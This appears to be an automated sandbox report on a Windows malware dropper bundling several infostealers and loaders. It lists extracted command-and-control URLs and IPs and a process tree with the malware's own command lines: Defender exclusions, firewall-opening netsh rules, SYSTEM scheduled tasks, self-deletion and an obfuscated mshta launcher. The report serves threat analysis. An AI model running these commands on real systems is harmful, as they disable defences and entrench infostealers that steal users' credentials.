arkei | 400debff42246bcf28d1eba937480ebdfa755c932707db10ab58ec4a1f5e94f1

Resubmissions

10-11-2021 14:52

211110-r84p8aedej 10

09-11-2021 13:19

211109-qkrv3sfcg4 10

Analysis

max time kernel
44s
max time network
209s
platform
windows10_x64
resource
win10-en-20211014
submitted
09-11-2021 13:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1df367eead22695952cce5131891dfec5c479da37cb3dac0403015ebb785032c.exe
Size

4.6MB
MD5

cc2c8271c80d294b35d51b0721d59ba5
SHA1

397ee3270770e940ee868d3d06d9feaed1599d79
SHA256

1df367eead22695952cce5131891dfec5c479da37cb3dac0403015ebb785032c
SHA512

ecfd4c52c008a86ca387a00c530fcac2971080b5cabae4d91da425f3cb042ca2e363c5048c0ea7349ea446f4e3797c04448b84a863fbf9672dded861cc22f34c

Score

10^/10

arkei raccoon redline smokeloader socelars 2f2ad1a1aa093c5a9d17040c8efd5650a99640b5 fucker2 media18 aspackv2 backdoor evasion infostealer stealer trojan

Malware Config

Extracted

Family

socelars

http://www.iyiqian.com/

http://www.hbgents.top/

http://www.rsnzhy.com/

http://www.efxety.top/

Extracted

Family

redline

Botnet

media18

91.121.67.60:2151

Extracted

Family

redline

Botnet

fucker2

135.181.129.119:4805

Extracted

Family

raccoon

Botnet

2f2ad1a1aa093c5a9d17040c8efd5650a99640b5

Attributes

url4cnc
http://telegatt.top/oh12manymarty

http://telegka.top/oh12manymarty

http://telegin.top/oh12manymarty

https://t.me/oh12manymarty

rc4.plain

Extracted

Family

smokeloader

Version

2020

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

rc4.i32

Signatures

Arkei
Arkei is an infostealer written in C++.
stealer arkei

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5092	4568	rundll32.exe	120

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 4 IoCs

resource	yara_rule
behavioral12/memory/1976-257-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral12/memory/1676-258-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral12/memory/1676-260-0x000000000041B23E-mapping.dmp	family_redline
behavioral12/memory/1976-259-0x000000000041B23E-mapping.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars Payload 2 IoCs

resource	yara_rule
behavioral12/files/0x000400000001abde-151.dat	family_socelars
behavioral12/files/0x000400000001abde-174.dat	family_socelars

Arkei Stealer Payload 1 IoCs

stealer

resource	yara_rule
behavioral12/memory/5036-532-0x0000000000400000-0x000000000044D000-memory.dmp	family_arkei

ASPack v2.12-2.42 7 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral12/files/0x000800000001ab85-128.dat	aspack_v212_v242
behavioral12/files/0x000600000001abcb-134.dat	aspack_v212_v242
behavioral12/files/0x000600000001abcb-133.dat	aspack_v212_v242
behavioral12/files/0x000800000001ab85-130.dat	aspack_v212_v242
behavioral12/files/0x000800000001ab85-129.dat	aspack_v212_v242
behavioral12/files/0x000400000001abc8-127.dat	aspack_v212_v242
behavioral12/files/0x000400000001abc8-126.dat	aspack_v212_v242

Downloads MZ/PE file

Executes dropped EXE 18 IoCs

pid	Process
4028	setup_installer.exe
3880	setup_install.exe
2956	Tue16f67a5eee0697.exe
3472	Tue163e04888c9acf002.exe
2820	Tue16032d9ad2b0.exe
2348	Tue16b713e2343c2e8.exe
2272	Tue1621951a3a0658.exe
2264	Tue1629916ece.exe
1520	Tue16fccf86b7915db5.exe
2144	Tue1695ffc929b4170.exe
2336	Tue163780a61739cb6.exe
980	Tue162240c754578.exe
2976	Tue16c290ca3a37.exe
1200	Tue16a7c3efab763.exe
872	Tue1647534a1c.exe
3404	Tue16f46ea549f747.exe
3792	Tue16b713e2343c2e8.tmp
1184	Tue16b713e2343c2e8.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Loads dropped DLL 7 IoCs

pid	Process
3880	setup_install.exe
3880	setup_install.exe
3880	setup_install.exe
3880	setup_install.exe
3880	setup_install.exe
3880	setup_install.exe
3792	Tue16b713e2343c2e8.tmp

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 5 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
61	ipinfo.io
69	ip-api.com
244	ipinfo.io
246	ipinfo.io
60	ipinfo.io

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 4 IoCs

pid	pid_target	Process	procid_target
3756	3880	WerFault.exe	69
4924	2336	WerFault.exe	92
3100	2956	WerFault.exe	77
3972	4244	WerFault.exe	157

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4556	schtasks.exe
5652	schtasks.exe
948	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
5608	timeout.exe

Kills process with taskkill 5 IoCs

evasion

pid	Process
4396	taskkill.exe
4496	taskkill.exe
4948	taskkill.exe
4464	taskkill.exe
3912	taskkill.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3960	powershell.exe
3756	WerFault.exe
3756	WerFault.exe
3756	WerFault.exe
3756	WerFault.exe
3756	WerFault.exe
3756	WerFault.exe
3756	WerFault.exe
3756	WerFault.exe
3756	WerFault.exe
3756	WerFault.exe
3756	WerFault.exe
3756	WerFault.exe
3756	WerFault.exe
3756	WerFault.exe
3756	WerFault.exe
3756	WerFault.exe
3756	WerFault.exe
3756	WerFault.exe

Suspicious use of AdjustPrivilegeToken 40 IoCs

description	pid	Process
Token: SeCreateTokenPrivilege	3472	Tue163e04888c9acf002.exe
Token: SeAssignPrimaryTokenPrivilege	3472	Tue163e04888c9acf002.exe
Token: SeLockMemoryPrivilege	3472	Tue163e04888c9acf002.exe
Token: SeIncreaseQuotaPrivilege	3472	Tue163e04888c9acf002.exe
Token: SeMachineAccountPrivilege	3472	Tue163e04888c9acf002.exe
Token: SeTcbPrivilege	3472	Tue163e04888c9acf002.exe
Token: SeSecurityPrivilege	3472	Tue163e04888c9acf002.exe
Token: SeTakeOwnershipPrivilege	3472	Tue163e04888c9acf002.exe
Token: SeLoadDriverPrivilege	3472	Tue163e04888c9acf002.exe
Token: SeSystemProfilePrivilege	3472	Tue163e04888c9acf002.exe
Token: SeSystemtimePrivilege	3472	Tue163e04888c9acf002.exe
Token: SeProfSingleProcessPrivilege	3472	Tue163e04888c9acf002.exe
Token: SeIncBasePriorityPrivilege	3472	Tue163e04888c9acf002.exe
Token: SeCreatePagefilePrivilege	3472	Tue163e04888c9acf002.exe
Token: SeCreatePermanentPrivilege	3472	Tue163e04888c9acf002.exe
Token: SeBackupPrivilege	3472	Tue163e04888c9acf002.exe
Token: SeRestorePrivilege	3472	Tue163e04888c9acf002.exe
Token: SeShutdownPrivilege	3472	Tue163e04888c9acf002.exe
Token: SeDebugPrivilege	3472	Tue163e04888c9acf002.exe
Token: SeAuditPrivilege	3472	Tue163e04888c9acf002.exe
Token: SeSystemEnvironmentPrivilege	3472	Tue163e04888c9acf002.exe
Token: SeChangeNotifyPrivilege	3472	Tue163e04888c9acf002.exe
Token: SeRemoteShutdownPrivilege	3472	Tue163e04888c9acf002.exe
Token: SeUndockPrivilege	3472	Tue163e04888c9acf002.exe
Token: SeSyncAgentPrivilege	3472	Tue163e04888c9acf002.exe
Token: SeEnableDelegationPrivilege	3472	Tue163e04888c9acf002.exe
Token: SeManageVolumePrivilege	3472	Tue163e04888c9acf002.exe
Token: SeImpersonatePrivilege	3472	Tue163e04888c9acf002.exe
Token: SeCreateGlobalPrivilege	3472	Tue163e04888c9acf002.exe
Token: 31	3472	Tue163e04888c9acf002.exe
Token: 32	3472	Tue163e04888c9acf002.exe
Token: 33	3472	Tue163e04888c9acf002.exe
Token: 34	3472	Tue163e04888c9acf002.exe
Token: 35	3472	Tue163e04888c9acf002.exe
Token: SeDebugPrivilege	2272	Tue1621951a3a0658.exe
Token: SeRestorePrivilege	3756	WerFault.exe
Token: SeBackupPrivilege	3756	WerFault.exe
Token: SeDebugPrivilege	2820	Tue16032d9ad2b0.exe
Token: SeDebugPrivilege	3960	powershell.exe
Token: SeDebugPrivilege	3756	WerFault.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2968 wrote to memory of 4028	2968	1df367eead22695952cce5131891dfec5c479da37cb3dac0403015ebb785032c.exe	68
PID 2968 wrote to memory of 4028	2968	1df367eead22695952cce5131891dfec5c479da37cb3dac0403015ebb785032c.exe	68
PID 2968 wrote to memory of 4028	2968	1df367eead22695952cce5131891dfec5c479da37cb3dac0403015ebb785032c.exe	68
PID 4028 wrote to memory of 3880	4028	setup_installer.exe	69
PID 4028 wrote to memory of 3880	4028	setup_installer.exe	69
PID 4028 wrote to memory of 3880	4028	setup_installer.exe	69
PID 3880 wrote to memory of 3232	3880	setup_install.exe	72
PID 3880 wrote to memory of 3232	3880	setup_install.exe	72
PID 3880 wrote to memory of 3232	3880	setup_install.exe	72
PID 3880 wrote to memory of 3620	3880	setup_install.exe	73
PID 3880 wrote to memory of 3620	3880	setup_install.exe	73
PID 3880 wrote to memory of 3620	3880	setup_install.exe	73
PID 3880 wrote to memory of 3284	3880	setup_install.exe	74
PID 3880 wrote to memory of 3284	3880	setup_install.exe	74
PID 3880 wrote to memory of 3284	3880	setup_install.exe	74
PID 3620 wrote to memory of 2956	3620	cmd.exe	77
PID 3620 wrote to memory of 2956	3620	cmd.exe	77
PID 3232 wrote to memory of 3960	3232	cmd.exe	76
PID 3232 wrote to memory of 3960	3232	cmd.exe	76
PID 3232 wrote to memory of 3960	3232	cmd.exe	76
PID 3880 wrote to memory of 1872	3880	setup_install.exe	75
PID 3880 wrote to memory of 1872	3880	setup_install.exe	75
PID 3880 wrote to memory of 1872	3880	setup_install.exe	75
PID 3880 wrote to memory of 916	3880	setup_install.exe	78
PID 3880 wrote to memory of 916	3880	setup_install.exe	78
PID 3880 wrote to memory of 916	3880	setup_install.exe	78
PID 3880 wrote to memory of 820	3880	setup_install.exe	79
PID 3880 wrote to memory of 820	3880	setup_install.exe	79
PID 3880 wrote to memory of 820	3880	setup_install.exe	79
PID 3880 wrote to memory of 868	3880	setup_install.exe	81
PID 3880 wrote to memory of 868	3880	setup_install.exe	81
PID 3880 wrote to memory of 868	3880	setup_install.exe	81
PID 3880 wrote to memory of 2828	3880	setup_install.exe	80
PID 3880 wrote to memory of 2828	3880	setup_install.exe	80
PID 3880 wrote to memory of 2828	3880	setup_install.exe	80
PID 3880 wrote to memory of 1600	3880	setup_install.exe	82
PID 3880 wrote to memory of 1600	3880	setup_install.exe	82
PID 3880 wrote to memory of 1600	3880	setup_install.exe	82
PID 3880 wrote to memory of 1496	3880	setup_install.exe	83
PID 3880 wrote to memory of 1496	3880	setup_install.exe	83
PID 3880 wrote to memory of 1496	3880	setup_install.exe	83
PID 3284 wrote to memory of 3472	3284	cmd.exe	91
PID 3284 wrote to memory of 3472	3284	cmd.exe	91
PID 3284 wrote to memory of 3472	3284	cmd.exe	91
PID 3880 wrote to memory of 576	3880	setup_install.exe	84
PID 3880 wrote to memory of 576	3880	setup_install.exe	84
PID 3880 wrote to memory of 576	3880	setup_install.exe	84
PID 3880 wrote to memory of 716	3880	setup_install.exe	85
PID 3880 wrote to memory of 716	3880	setup_install.exe	85
PID 3880 wrote to memory of 716	3880	setup_install.exe	85
PID 3880 wrote to memory of 1364	3880	setup_install.exe	90
PID 3880 wrote to memory of 1364	3880	setup_install.exe	90
PID 3880 wrote to memory of 1364	3880	setup_install.exe	90
PID 3880 wrote to memory of 4000	3880	setup_install.exe	86
PID 3880 wrote to memory of 4000	3880	setup_install.exe	86
PID 3880 wrote to memory of 4000	3880	setup_install.exe	86
PID 3880 wrote to memory of 884	3880	setup_install.exe	87
PID 3880 wrote to memory of 884	3880	setup_install.exe	87
PID 3880 wrote to memory of 884	3880	setup_install.exe	87
PID 1872 wrote to memory of 2820	1872	cmd.exe	89
PID 1872 wrote to memory of 2820	1872	cmd.exe	89
PID 1872 wrote to memory of 2820	1872	cmd.exe	89
PID 916 wrote to memory of 2348	916	cmd.exe	88
PID 916 wrote to memory of 2348	916	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\1df367eead22695952cce5131891dfec5c479da37cb3dac0403015ebb785032c.exe
"C:\Users\Admin\AppData\Local\Temp\1df367eead22695952cce5131891dfec5c479da37cb3dac0403015ebb785032c.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2968
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4028
- - C:\Users\Admin\AppData\Local\Temp\7zSCBF87CB6\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zSCBF87CB6\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:3880
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3232
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3960
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue16f67a5eee0697.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3620
    - - C:\Users\Admin\AppData\Local\Temp\7zSCBF87CB6\Tue16f67a5eee0697.exe
        
        Tue16f67a5eee0697.exe
        5⤵
        Executes dropped EXE
        
        PID:2956
      - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2956 -s 784
        6⤵
        Program crash
        
        PID:3100
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue163e04888c9acf002.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3284
    - - C:\Users\Admin\AppData\Local\Temp\7zSCBF87CB6\Tue163e04888c9acf002.exe
        
        Tue163e04888c9acf002.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3472
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        6⤵
        
        PID:752
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        7⤵
        Kills process with taskkill
        
        PID:4464
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue16032d9ad2b0.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1872
    - - C:\Users\Admin\AppData\Local\Temp\7zSCBF87CB6\Tue16032d9ad2b0.exe
        
        Tue16032d9ad2b0.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2820
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue16b713e2343c2e8.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:916
    - - C:\Users\Admin\AppData\Local\Temp\7zSCBF87CB6\Tue16b713e2343c2e8.exe
        
        Tue16b713e2343c2e8.exe
        5⤵
        Executes dropped EXE
        
        PID:2348
      - C:\Users\Admin\AppData\Local\Temp\is-BF8VG.tmp\Tue16b713e2343c2e8.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-BF8VG.tmp\Tue16b713e2343c2e8.tmp" /SL5="$301C6,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSCBF87CB6\Tue16b713e2343c2e8.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3792
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue1629916ece.exe
      4⤵
      PID:820
    - - C:\Users\Admin\AppData\Local\Temp\7zSCBF87CB6\Tue1629916ece.exe
        
        Tue1629916ece.exe
        5⤵
        Executes dropped EXE
        
        PID:2264
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue1695ffc929b4170.exe
      4⤵
      PID:2828
    - - C:\Users\Admin\AppData\Local\Temp\7zSCBF87CB6\Tue1695ffc929b4170.exe
        
        Tue1695ffc929b4170.exe
        5⤵
        Executes dropped EXE
        
        PID:2144
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue16c290ca3a37.exe
      4⤵
      PID:868
    - - C:\Users\Admin\AppData\Local\Temp\7zSCBF87CB6\Tue16c290ca3a37.exe
        
        Tue16c290ca3a37.exe
        5⤵
        Executes dropped EXE
        
        PID:2976
      - C:\Users\Admin\Pictures\Adobe Films\m37HUgLNuuiWIV9IIpzgSVky.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\m37HUgLNuuiWIV9IIpzgSVky.exe"
        6⤵
        
        PID:4100
      - C:\Users\Admin\Pictures\Adobe Films\1wieVP4wMblK1tTpYUYkhy4x.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\1wieVP4wMblK1tTpYUYkhy4x.exe"
        6⤵
        
        PID:4328
      - C:\Users\Admin\Pictures\Adobe Films\1tem0DbuqfdCay6ND5uowKVF.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\1tem0DbuqfdCay6ND5uowKVF.exe"
        6⤵
        
        PID:4764
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:5652
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:948
        
        C:\Users\Admin\Documents\X1eQl5fw9LU2nII8JRHoZwdc.exe
        
        "C:\Users\Admin\Documents\X1eQl5fw9LU2nII8JRHoZwdc.exe"
        7⤵
        
        PID:6092
      - C:\Users\Admin\Pictures\Adobe Films\w340Ug2qux7LP3ewEKFoT23L.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\w340Ug2qux7LP3ewEKFoT23L.exe"
        6⤵
        
        PID:4712
      - C:\Users\Admin\Pictures\Adobe Films\Ued8wJc8PvO47vR8LkjC9lUx.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Ued8wJc8PvO47vR8LkjC9lUx.exe"
        6⤵
        
        PID:932
        
        C:\Users\Admin\AppData\Roaming\Underdress.exe
        
        C:\Users\Admin\AppData\Roaming\Underdress.exe
        7⤵
        
        PID:3264
        
        C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"
        8⤵
        
        PID:4420
        
        C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
        
        C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
        7⤵
        
        PID:4244
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        8⤵
        
        PID:4536
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4244 -s 552
        8⤵
        Program crash
        
        PID:3972
      - C:\Users\Admin\Pictures\Adobe Films\zpBjmoyVsPI9tFbHHNPOVXMt.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\zpBjmoyVsPI9tFbHHNPOVXMt.exe"
        6⤵
        
        PID:5068
      - C:\Users\Admin\Pictures\Adobe Films\iDoxzDw1c72todCgBHsj7Xm5.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\iDoxzDw1c72todCgBHsj7Xm5.exe"
        6⤵
        
        PID:5084
        
        C:\Program Files (x86)\Company\NewProduct\cutm3.exe
        
        "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
        7⤵
        
        PID:1492
      - C:\Users\Admin\Pictures\Adobe Films\N66otsTGz7KtLCEMUuRJGzT2.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\N66otsTGz7KtLCEMUuRJGzT2.exe"
        6⤵
        
        PID:5040
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
        7⤵
        
        PID:2196
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
        7⤵
        
        PID:4508
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
        7⤵
        
        PID:1048
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
        7⤵
        Creates scheduled task(s)
        
        PID:4556
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
        7⤵
        
        PID:4952
        
        C:\Windows\System\svchost.exe
        
        "C:\Windows\System\svchost.exe" formal
        7⤵
        
        PID:3456
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
        8⤵
        
        PID:5728
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
        8⤵
        
        PID:5724
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
        8⤵
        
        PID:5860
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
        8⤵
        
        PID:5796
      - C:\Users\Admin\Pictures\Adobe Films\mBLUSuUjKbeAELDqYr0XG5pu.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\mBLUSuUjKbeAELDqYr0XG5pu.exe"
        6⤵
        
        PID:5080
        
        C:\Users\Admin\Pictures\Adobe Films\mBLUSuUjKbeAELDqYr0XG5pu.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\mBLUSuUjKbeAELDqYr0XG5pu.exe"
        7⤵
        
        PID:5448
      - C:\Users\Admin\Pictures\Adobe Films\jtbuvb88_nbTGD6netppcvx5.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\jtbuvb88_nbTGD6netppcvx5.exe"
        6⤵
        
        PID:4812
      - C:\Users\Admin\Pictures\Adobe Films\TWkpjZGiqFzOJ7Whgnf0j03S.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\TWkpjZGiqFzOJ7Whgnf0j03S.exe"
        6⤵
        
        PID:4768
      - C:\Users\Admin\Pictures\Adobe Films\edyeHtAznhm0W45yCazn5hJO.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\edyeHtAznhm0W45yCazn5hJO.exe"
        6⤵
        
        PID:5036
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\edyeHtAznhm0W45yCazn5hJO.exe" & exit
        7⤵
        
        PID:6000
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 5
        8⤵
        Delays execution with timeout.exe
        
        PID:5608
      - C:\Users\Admin\Pictures\Adobe Films\HByVuFsoVTnUpg1o9KF9hGGW.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\HByVuFsoVTnUpg1o9KF9hGGW.exe"
        6⤵
        
        PID:5008
      - C:\Users\Admin\Pictures\Adobe Films\Z50JsvCPVc8vsMmTgUCPg4uH.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Z50JsvCPVc8vsMmTgUCPg4uH.exe"
        6⤵
        
        PID:4988
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "Z50JsvCPVc8vsMmTgUCPg4uH.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\Z50JsvCPVc8vsMmTgUCPg4uH.exe" & exit
        7⤵
        
        PID:5664
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "Z50JsvCPVc8vsMmTgUCPg4uH.exe" /f
        8⤵
        Kills process with taskkill
        
        PID:4396
      - C:\Users\Admin\Pictures\Adobe Films\E2kSkgtOcJfP4HTrLwdDc2xg.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\E2kSkgtOcJfP4HTrLwdDc2xg.exe"
        6⤵
        
        PID:4920
      - C:\Users\Admin\Pictures\Adobe Films\KlCPKlpYyt9wTSmtbnEAkUBI.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\KlCPKlpYyt9wTSmtbnEAkUBI.exe"
        6⤵
        
        PID:344
      - C:\Users\Admin\Pictures\Adobe Films\kAEgEQo7M11yzMGM3ONvU1h_.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\kAEgEQo7M11yzMGM3ONvU1h_.exe"
        6⤵
        
        PID:4500
      - C:\Users\Admin\Pictures\Adobe Films\jcY8dnZn8uZZ3xKr9zeTGrSG.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\jcY8dnZn8uZZ3xKr9zeTGrSG.exe"
        6⤵
        
        PID:4836
      - C:\Users\Admin\Pictures\Adobe Films\2NXoJhDBNQskbQ12kC2n3rbT.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\2NXoJhDBNQskbQ12kC2n3rbT.exe"
        6⤵
        
        PID:4380
      - C:\Users\Admin\Pictures\Adobe Films\R_epGrwGN3_JEUInC9xUS5Km.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\R_epGrwGN3_JEUInC9xUS5Km.exe"
        6⤵
        
        PID:4900
      - C:\Users\Admin\Pictures\Adobe Films\yxMGhJeb5i5kCccUp01r0Kxi.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\yxMGhJeb5i5kCccUp01r0Kxi.exe"
        6⤵
        
        PID:1684
        
        C:\Users\Admin\Pictures\Adobe Films\yxMGhJeb5i5kCccUp01r0Kxi.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\yxMGhJeb5i5kCccUp01r0Kxi.exe"
        7⤵
        
        PID:5292
      - C:\Users\Admin\Pictures\Adobe Films\S8DpTLKCEJzinXH8IgyM2rOO.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\S8DpTLKCEJzinXH8IgyM2rOO.exe"
        6⤵
        
        PID:3264
        
        C:\Users\Admin\Pictures\Adobe Films\S8DpTLKCEJzinXH8IgyM2rOO.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\S8DpTLKCEJzinXH8IgyM2rOO.exe"
        7⤵
        
        PID:6036
        
        C:\Users\Admin\Pictures\Adobe Films\S8DpTLKCEJzinXH8IgyM2rOO.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\S8DpTLKCEJzinXH8IgyM2rOO.exe"
        7⤵
        
        PID:3428
      - C:\Users\Admin\Pictures\Adobe Films\4EHugnbTQqjnVho5o_9Fjtk0.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\4EHugnbTQqjnVho5o_9Fjtk0.exe"
        6⤵
        
        PID:4960
      - C:\Users\Admin\Pictures\Adobe Films\Goinmy_vmF9LqJH1boJXqfMD.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Goinmy_vmF9LqJH1boJXqfMD.exe"
        6⤵
        
        PID:1052
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\Goinmy_vmF9LqJH1boJXqfMD.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\Goinmy_vmF9LqJH1boJXqfMD.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
        7⤵
        
        PID:5424
        
        C:\Windows\SysWOW64\cmd.exe
        
